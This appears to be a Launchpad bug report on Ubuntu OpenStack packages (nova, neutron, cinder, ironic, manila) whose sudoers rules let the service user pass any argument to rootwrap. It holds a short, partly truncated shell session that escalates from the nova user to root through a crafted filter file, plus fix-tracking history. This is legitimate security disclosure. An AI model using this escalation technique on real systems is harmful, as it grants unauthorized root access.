rootwrap sudoers configuration does not follow packaging guidelines
Affects | Status | Importance | Assigned to | Milestone | |
---|---|---|---|---|---|
cinder (Ubuntu) |
Fix Released
|
High
|
Chuck Short | ||
Saucy |
Fix Released
|
High
|
Jamie Strandboge | ||
Trusty |
Fix Released
|
High
|
Jamie Strandboge | ||
Utopic |
Fix Released
|
High
|
Chuck Short | ||
ironic (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | ||
Utopic |
Fix Released
|
Undecided
|
Unassigned | ||
manila (Ubuntu) |
Fix Released
|
Undecided
|
Unassigned | ||
Utopic |
Won't Fix
|
Undecided
|
Unassigned | ||
neutron (Ubuntu) |
Fix Released
|
High
|
Chuck Short | ||
Saucy |
Fix Released
|
High
|
Jamie Strandboge | ||
Trusty |
Fix Released
|
High
|
Jamie Strandboge | ||
Utopic |
Fix Released
|
High
|
Chuck Short | ||
nova (Ubuntu) |
Fix Released
|
High
|
Chuck Short | ||
Saucy |
Fix Released
|
High
|
Jamie Strandboge | ||
Trusty |
Fix Released
|
High
|
Jamie Strandboge | ||
Utopic |
Fix Released
|
High
|
Chuck Short |
Bug Description
The rootwrap packaging guidelines at https:/
nova ALL = (root) NOPASSWD: /usr/bin/
But on Ubuntu 12.10 it is:
# cat /etc/sudoers.
Defaults:nova !requiretty
nova ALL = (root) NOPASSWD: /usr/bin/
Now if an attacker somehow gets a shell under user nova they can specify any argument for nova-rootwrap:
$ id
uid=108(nova) gid=113(nova) groups=
$
$ echo [DEFAULT] >/tmp/my-
$ echo filters_
$
$ mkdir /tmp/my-filters.d
$ echo [Filters] >/tmp/my-
$ echo my-shell: CommandFilter, /bin/sh, root >>/tmp/
$
$ sudo nova-rootwrap /tmp/my-
#
# id
uid=0(root) gid=0(root) groups=0(root)
The same goes for the quantum_sudoers from quantum-common.
# lsb_release -rd
Description: Ubuntu 12.04 LTS
Release: 12.04
# apt-cache policy nova-common
nova-common:
Installed: 1:2013.
Candidate: 1:2013.
Version table:
*** 1:2013.
500 http://
100 /var/lib/
2012.
500 http://
500 http://
2012.
500 http://
Related branches
- James Page: Approve
-
Diff: 393 lines (+365/-1)4 files modifieddebian/changelog (+49/-0)
debian/nova_sudoers (+1/-1)
debian/patches/fix-lxc-libvirt-starting.patch (+314/-0)
debian/patches/series (+1/-0)
- Chuck Short (community): Needs Fixing
-
Diff: 198 lines (+82/-83)5 files modifieddebian/changelog (+81/-0)
debian/neutron_sudoers (+1/-1)
debian/patches/disable-failing-metaplugin-tests.patch (+0/-67)
debian/patches/series (+0/-2)
debian/patches/skip-lb-test.patch (+0/-13)
- Chuck Short (community): Needs Fixing
-
Diff: 97 lines (+34/-20)3 files modifieddebian/changelog (+33/-0)
debian/cinder_sudoers (+1/-1)
debian/patches/fix-requirements.patch (+0/-19)
- James Page: Needs Fixing
-
Diff: 327 lines (+127/-81)10 files modifieddebian/changelog (+14/-0)
debian/control (+77/-60)
debian/copyright (+0/-1)
debian/ironic-common.install (+2/-1)
debian/ironic-common.postinst (+9/-5)
debian/ironic_sudoers (+1/-1)
debian/patches/series (+1/-1)
debian/patches/set_config_defaults.patch (+22/-0)
debian/patches/set_logdir.patch (+0/-12)
debian/pydist-overrides (+1/-0)
Changed in nova (Ubuntu Quantal): | |
status: | New → Triaged |
importance: | Undecided → High |
Changed in nova (Ubuntu Raring): | |
status: | New → Triaged |
importance: | Undecided → High |
Changed in nova (Ubuntu Saucy): | |
status: | New → Triaged |
importance: | Undecided → High |
Changed in nova (Ubuntu Trusty): | |
status: | New → Triaged |
importance: | Undecided → High |
Changed in nova (Ubuntu Saucy): | |
status: | Triaged → Fix Committed |
Changed in nova (Ubuntu Trusty): | |
status: | Triaged → Fix Committed |
Changed in neutron (Ubuntu Saucy): | |
status: | Triaged → Fix Committed |
Changed in neutron (Ubuntu Trusty): | |
status: | Triaged → Fix Committed |
Changed in cinder (Ubuntu Saucy): | |
status: | Triaged → Fix Committed |
Changed in cinder (Ubuntu Trusty): | |
status: | Triaged → Fix Committed |
Changed in cinder (Ubuntu Saucy): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in cinder (Ubuntu Trusty): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in nova (Ubuntu Saucy): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in nova (Ubuntu Trusty): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in neutron (Ubuntu Saucy): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in neutron (Ubuntu Trusty): | |
assignee: | nobody → Jamie Strandboge (jdstrand) |
Changed in cinder (Ubuntu Utopic): | |
assignee: | nobody → Chuck Short (zulcss) |
Changed in nova (Ubuntu Utopic): | |
assignee: | nobody → Chuck Short (zulcss) |
Changed in neutron (Ubuntu Utopic): | |
assignee: | nobody → Chuck Short (zulcss) |
information type: | Private Security → Public Security |
information type: | Public Security → Private Security |
information type: | Private Security → Public |
Thanks for your bug report, I can confirm this.